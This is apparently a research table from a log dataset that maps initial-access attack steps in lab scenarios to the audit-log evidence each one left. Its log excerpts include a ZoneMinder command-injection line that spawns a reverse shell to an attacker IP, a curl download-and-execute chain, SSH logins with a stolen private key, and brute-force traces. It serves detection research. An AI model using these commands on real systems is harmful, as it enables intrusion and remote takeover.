

Initial Access Techniques — CAM-LDS Dataset (Work in Progress)

Reading technique by technique, scenario by scenario. Columns: what the attacker did, what the victim audit log captured, Fig. 13 category.

Technique ID / Name	Scenario & Step	What Step Is About	What Is In Logs	Variants	Fig. 13 Category	Also Tagged Under (Other Tactics)
T1190-000 Exploit Public-Facing Application	Scenario 1 — Step 5	Attacker exploits CVE-2023-26035 in ZoneMinder's snapshot action to gain remote code execution, via a Metasploit-generated exploit	<code>sh -c "/usr/bin/zmu -A -a -m ;echo exec(...decode/decompress...) exec (which python3) -" (command injection through the empty -m parameter) → python3 - (runs the decoded payload) → connects 192.42.1.174:4444 (reverse shell to attacker) → ldconfig -p, uname -p (automatic recon)</code>	18 variants — only time and PID differ: autostart_localaccount, autostart_sshkey, cron_localaccount, cron_pam, cron_sshkey, pwnkit_localaccount, pwnkit_pam, pwnkit_sshkey, racecondition_localaccount, racecondition_pam, racecondition_sshkey, sudo_pam, sudo_sshkey, validaccount_localaccount, validaccount_sshkey; 3 variants with extra noise: sudo_localaccount, validaccount_pam, autostart_pam (18)	Logs without command	-
T1190-000 Exploit Public-Facing Application	Scenario 7 — Step 6	Attacker executes a Metasploit module exploiting a vulnerable Nextcloud workflow feature (authenticated command execution) using Alice's credentials, gaining remote code execution	<code>apache2 (www-data) sh -c "command -v curl" → sh -c 'curl -so ./rJZMoLeJ http://192.42.1.174:8080/... ; chmod +x ./rJZMoLeJ; ./rJZMoLeJ' → curl downloads payload (HTTP, port 8080) → chmod +x → ./rJZMoLeJ execve → connects 192.42.1.174:4444 (reverse-shell callback)</code>	7-6 (1)	Logs without command	T1095-000 (Non-Application Layer Protocol) — Command and Control
T1078-003 Valid Accounts: Local Accounts	Scenario 1 — Step 55	Valid Account privilege escalation: attacker scans the local filesystem	<code>find /home -ls</code>	Local Account, SSH Key, PAM (3)	Command only in audit logs	-
T1078-003 Valid Accounts: Local Accounts	Scenario 1 — Step 56	Attacker uses the recovered private key to establish a privileged SSH session	<code>ssh -i /home/webdev/.ssh/id_rsa -o StrictHostKeyChecking=no root@localhost (connects to 127.0.0.1:22)</code>	Local Account, SSH Key, PAM (3)	Command in audit and other logs	-
T1078-002 T1133-000 Valid Accounts: Domain Accounts External Remote Services	Scenario 3 — Step 1	Attacker brute-forces SSH login on the Puppet server using hydra, cycling through username/password combinations until a weak privileged account is found	16-17× USER_AUTH ... res=failed (usernames admin, root, john tried repeatedly) → 1× USER_AUTH ... acct="john" ... grantors=pam_permit,pam_cap ... res=success (all attempts from attacker IP 192.42.1.174)	SSH/Apt, SSH/Healthcheck, SSH/Puppet (3)	Command in audit and other logs	-
T1078-002 Valid Accounts: Domain Accounts	Scenario 3 — Step 2	The successful SSH session (as john) actually opens, following Step 1's brute-force	USER_AUTH ... acct="john" ... res=success (repeated across PAM auth/session stages, no failed attempts here)	SSH/Apt, SSH/Healthcheck (2)	Logs without command	-
T1078-003 Valid Accounts: Local Accounts	Scenario 3 — Step 37	The successful SSH session	USER_AUTH ... acct="john" ... res=success	SSH/Puppet (1)	Logs without command	-
T1078-003 Valid Accounts: Local Accounts	Scenario 3 — Step 4	Attacker escalates to root privileges using sudo -i	<code>sudo -i (execve, AUID="john") → USER_ACCT: op=PAM:accounting acct="john" exe="/usr/bin/sudo" res=success → USER_START: op=PAM:session_open acct="root" exe="/usr/bin/sudo" res=success</code>	SSH/Apt, SSH/Healthcheck, SSH/Puppet (3)	Command in audit and other logs	-
T1078-003 Valid Accounts: Local Accounts	Scenario 4 — Step 3	Attacker re-uses the credentials of a compromised account on the repository server to log into the firewall	USER_AUTH: op=PAM:authentication acct="john" exe="/usr/sbin/sshd" hostname=172.17.100.122 addr=172.17.100.122 terminal=ssh res=success	4-3 (1)	Command in audit and other logs	T1105-000 (Ingress Tool Transfer), T1205-001 (Traffic Signaling) — Command and Control
T1078-003 Valid Accounts: Local Accounts	Scenario 4 — Step 4	Attacker re-enters their existing base of operations (reposerver) via SSH, using the credentials obtained from the firewall	Step 4 (reposerver): USER_AUTH ... acct="john" ... addr=192.42.1.174 ... res=success → id -u	4-4 (1)	Logs without command	-
T1078-003 Valid Accounts: Local Accounts	Scenario 4 — Step 5	Attacker connects via SSH from reposerver to the firewall as the privileged user	Step 5 (reposerver): <code>ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password john@firewall.attackbed.local</code>	4-5 (1)	Command only in audit logs	-
T1078-003 Valid Accounts: Local Accounts	Scenario 4 — Step 6	The SSH session lands on the firewall, authenticated as the privileged user	Step 6 (inetfw): USER_AUTH ... acct="john" ... addr=172.17.100.122 ... res=success	4-6 (1)	Command in audit and other logs	-
T1078-003 Valid Accounts: Local Accounts	Scenario 4 — Step 19	Attacker re-enters reposerver via SSH, using the credentials obtained earlier	Step 19 (reposerver): USER_AUTH ... acct="john" ... addr=192.42.1.174 ... res=success → id -u	4-19 (1)	Command in audit and other logs	-
T1078-003 Valid Accounts: Local Accounts	Scenario 4 — Step 20	Attacker moves laterally via SSH from reposerver to the file share as the privileged user	Step 20 (reposerver): <code>ssh -o StrictHostKeyChecking=no -o PreferredAuthentication=password john@linuxshare.attackbed.local</code>	4-20 (1)	Command in audit and other logs	-
T1078-003 Valid Accounts: Local Accounts	Scenario 4 — Step 21	The SSH session lands on the file share, authenticated as the privileged user	Step 21 (linuxshare): USER_AUTH ... acct="john" ... addr=172.17.100.122 ... res=success	4-21 (1)	Logs without command	-
T1078-002 T1133-000 Valid Accounts: Domain Accounts External Remote Services	Scenario 7 — Step 3	Attacker uses hydra to brute-force the password of Alice's IMAP account (username already known from Step 2's enumeration)	dovecot/imap-login execve → dovecot/auth -w execve → auth connects to 172.18.0.3:3306 (internal MySQL, checking credentials)	7-3 (1)	Command only in audit logs	-
T1566-004 Phishing: Spearphishing Voice	Scenario 6 — Step 39	Attacker, posing as helpdesk support over a phone call, convinces the victim to download the legitimate RustDesk installer	sudo: judy : COMMAND=/usr/bin/wget -O rustdesk.deb -e use_proxy=yes -e http_proxy=https://192.168.50.254:3128 https://github.com/rustdesk/rustdesk/releases/download/1.3.8/rustdesk-1.3.8-x86_64.deb — confirmed by proxy log: CONNECT github.com:443 → CONNECT release-assets.githubusercontent.com:443 (~20MB transferred)	Binary, Cron (2)	Logs without command	T1204.001 (User Execution: Malicious Link) — Execution; T1105 (Ingress Tool Transfer) — C2

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T1566-004 Phishing: Spearphishing Voice	Scenario 6 — Step 43	Attacker instructs the victim (over the phone) to start RustDesk with a shared password	sudo rustdesk --password password → whoami → creates RustDesk.toml → connects IPC socket	Binary, Cron (2)	Command in audit and other logs	T1219-000 (Remote Access Software), Step 43 — Command and Control
Total techniques in Initial Access: 5				Total variants: 46		